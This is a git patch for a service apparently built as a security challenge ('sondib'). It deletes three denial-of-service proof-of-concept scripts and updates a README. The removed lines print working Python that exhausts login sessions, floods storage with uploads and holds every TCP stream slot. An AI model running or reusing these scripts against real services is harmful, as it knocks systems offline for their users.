From 434be3e1c1f7dcd9a8b713519f903457143185cf Mon Sep 17 00:00:00 2001 From: yato Date: Sun, 29 Nov 2026 17:50:22 +0300 Subject: [PATCH] Remove sondib denial of service PoCs --- sondib/sploits/README.md | 13 +--- sondib/sploits/session_exhaustion.py | 89 ---------------------------- sondib/sploits/storage_flood.py | 80 ------------------------- sondib/sploits/stream_slots.py | 54 ----------------- 4 files changed, 2 insertions(+), 234 deletions(-) delete mode 100644 sondib/sploits/session_exhaustion.py delete mode 100644 sondib/sploits/storage_flood.py delete mode 100644 sondib/sploits/stream_slots.py diff --git a/sondib/sploits/README.md b/sondib/sploits/README.md index 8d7d332..cadb078 100644 --- a/sondib/sploits/README.md +++ b/sondib/sploits/README.md @@ -20,14 +20,5 @@ communication. uses the raw protocol search path to check whether the deleted row is still returned. It exits `0` when deleted metadata is exposed. -`session_exhaustion.py TARGET --count COUNT` performs exactly `COUNT` logins. -Successful logins are persistent records, so the count is mandatory and the -temporary account is intentionally not cleaned up. - -`storage_flood.py TARGET --count COUNT` performs exactly `COUNT` valid small -uploads and reports whether all were accepted. Uploaded tracks are retained -until the normal cleaner removes them. - -`stream_slots.py TARGET [--hold SECONDS]` holds the service's 32 TCP stream -slots for the requested time. The default hold is 65 seconds so the built-in -60-second idle timeout can be observed. +The repository intentionally does not include DoS PoCs for persistent-session +exhaustion, storage flooding, or TCP-slot exhaustion. diff --git a/sondib/sploits/session_exhaustion.py b/sondib/sploits/session_exhaustion.py deleted file mode 100644 index f997f7c..0000000 --- a/sondib/sploits/session_exhaustion.py +++ /dev/null @@ -1,89 +0,0 @@ -#!/usr/bin/env python3 -"""Consume the persistent login-session table. - -The attempt count is deliberately mandatory because successful logins are -persisted by sondib and are not removed by the normal connection timeout. -""" - -from __future__ import annotations - -import argparse -import secrets -import string -import sys - -from sondib_protocol import ProtocolError, SondibClient - - -def log(message: str) -> None: - print(message, file=sys.stderr, flush=True) - - -def random_password() -> str: - alphabet = string.ascii_letters + string.digits - return "pw" + "".join(secrets.choice(alphabet) for _ in range(12)) - - -def register(target: str, username: str, password: str) -> None: - client = SondibClient(target) - try: - response = client.request( - bytes((7,)) - + len(username).to_bytes(2, "little") - + username.encode() - + len(password).to_bytes(2, "little") - + password.encode() - ) - if not response or response[0] != 0x11: - raise RuntimeError(f"registration failed: {response.hex()}") - finally: - client.close() - - -def login(target: str, username: str, password: str) -> bool: - client = SondibClient(target) - try: - response = client.request( - bytes((8,)) - + len(username).to_bytes(2, "little") - + username.encode() - + len(password).to_bytes(2, "little") - + password.encode() - ) - return bool(response) and response[0] == 0x11 - finally: - client.close() - - -def run(target: str, count: int) -> int: - if not 1 <= count <= 8192: - raise ValueError("COUNT must be between 1 and 8192") - username = "sess" + secrets.token_hex(5) - password = random_password() - register(target, username, password) - successful = 0 - for _ in range(count): - if not login(target, username, password): - break - successful += 1 - log(f"target={target} successful_logins={successful} requested={count}") - if successful < count: - log("persistent session limit or another login failure was reached") - return 0 - return 1 - - -def main() -> int: - parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT") - parser.add_argument("target", metavar="TARGET") - parser.add_argument("--count", type=int, required=True, metavar="COUNT") - args = parser.parse_args() - try: - return run(args.target, args.count) - except (OSError, ProtocolError, RuntimeError, ValueError) as exc: - log(f"target={args.target} error={exc}") - return 1 - - -if __name__ == "__main__": - raise SystemExit(main()) diff --git a/sondib/sploits/storage_flood.py b/sondib/sploits/storage_flood.py deleted file mode 100644 index 6bb63fd..0000000 --- a/sondib/sploits/storage_flood.py +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python3 -"""Fill sondib storage with valid uploads when no quota is configured.""" - -from __future__ import annotations - -import argparse -import secrets -import string -import subprocess -import sys -import tempfile -from pathlib import Path - - -PORT = 7777 -TIMEOUT = 10 -SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb" - - -def log(message: str) -> None: - print(message, file=sys.stderr, flush=True) - - -def random_password() -> str: - alphabet = string.ascii_letters + string.digits - return "pw" + "".join(secrets.choice(alphabet) for _ in range(12)) - - -def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]: - return subprocess.run( - [str(SDB), args[0], target, *args[1:]], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - timeout=TIMEOUT, - check=False, - ) - - -def run(target: str, count: int) -> int: - if not 1 <= count <= 65535: - raise ValueError("COUNT must be between 1 and 65535") - if not SDB.is_file(): - raise RuntimeError(f"sdb client not found: {SDB}") - username = "flood" + secrets.token_hex(5) - password = random_password() - registered = run_sdb(target, "register", username, password) - if registered.returncode != 0: - raise RuntimeError("temporary user registration failed") - with tempfile.NamedTemporaryFile(prefix="sondib-flood-", suffix=".pcm") as pcm: - pcm.write(b"\0" * 1024) - pcm.flush() - uploaded = 0 - for index in range(count): - title = f"quota-probe-{index:05d}-{secrets.token_hex(3)}" - result = run_sdb(target, "upload", username, password, title, "p", pcm.name) - if result.returncode != 0: - break - uploaded += 1 - log(f"target={target} uploaded={uploaded} requested={count}") - if uploaded < count: - log("an upload limit or service failure was reached") - return 0 - log("all requested uploads were accepted; no application quota observed") - return 1 - - -def main() -> int: - parser = argparse.ArgumentParser(usage="%(prog)s TARGET --count COUNT") - parser.add_argument("target", metavar="TARGET") - parser.add_argument("--count", type=int, required=True, metavar="COUNT") - args = parser.parse_args() - try: - return run(args.target, args.count) - except (OSError, RuntimeError, ValueError, subprocess.SubprocessError) as exc: - log(f"target={args.target} error={exc}") - return 1 - - -if __name__ == "__main__": - raise SystemExit(main()) diff --git a/sondib/sploits/stream_slots.py b/sondib/sploits/stream_slots.py deleted file mode 100644 index 20025e6..0000000 --- a/sondib/sploits/stream_slots.py +++ /dev/null @@ -1,54 +0,0 @@ -#!/usr/bin/env python3 -"""Occupy sondib's finite TCP stream table with idle connections.""" - -from __future__ import annotations - -import argparse -import socket -import sys -import time - - -PORT = 7777 -MAX_CONNECTIONS = 32 - - -def log(message: str) -> None: - print(message, file=sys.stderr, flush=True) - - -def run(target: str, hold: int) -> int: - if not 1 <= hold <= 300: - raise ValueError("HOLD must be between 1 and 300 seconds") - sockets: list[socket.socket] = [] - try: - for _ in range(MAX_CONNECTIONS): - sock = socket.create_connection((target, PORT), timeout=5) - sock.settimeout(2) - sock.recv(4) # hello length; leave the rest unread and hold the slot - sockets.append(sock) - log(f"target={target} held={len(sockets)} tcp_streams for={hold}s") - time.sleep(hold) - return 0 - except (OSError, TimeoutError) as exc: - log(f"target={target} held={len(sockets)} error={exc}") - return 1 - finally: - for sock in sockets: - sock.close() - - -def main() -> int: - parser = argparse.ArgumentParser(usage="%(prog)s TARGET [--hold SECONDS]") - parser.add_argument("target", metavar="TARGET") - parser.add_argument("--hold", type=int, default=65, metavar="SECONDS") - args = parser.parse_args() - try: - return run(args.target, args.hold) - except ValueError as exc: - log(f"target={args.target} error={exc}") - return 1 - - -if __name__ == "__main__": - raise SystemExit(main())